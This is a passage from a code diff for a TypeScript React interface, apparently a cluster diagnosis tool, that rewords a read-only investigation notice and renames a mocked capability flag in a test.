  setActionError(e instanceof DiagnoseError ? e.message : "Couldn't send.");
953
961
  setActionRefusal(investigationRefusal(e));
954
962
  });
@@ -2024,8 +2032,8 @@ export function InvestigationView({
2024
2032
  {parseContextName(run.context).clusterName}
2025
2033
  </span>
2026
2034
  </Tooltip>
2027
- . It is read-only because its agent session was closed after a
2028
- cluster switch.
2035
+ . It is read-only because the cluster connection it ran on has
2036
+ closed.
2029
2037
  </span>
2030
2038
  </div>
2031
2039
  ) : null}
@@ -37,7 +37,7 @@ vi.mock("../../api/diagnose", async (importOriginal) => ({
37
37
  present: true,
38
38
  supported: true,
39
39
  hosted: api.hosted,
40
- questions: true,
40
+ targetQuestions: true,
41
41
  profiles: ["safeguarded"],
42
42
  consentSurfaces: { safeguarded: "claude:safeguarded" },
43
43
  },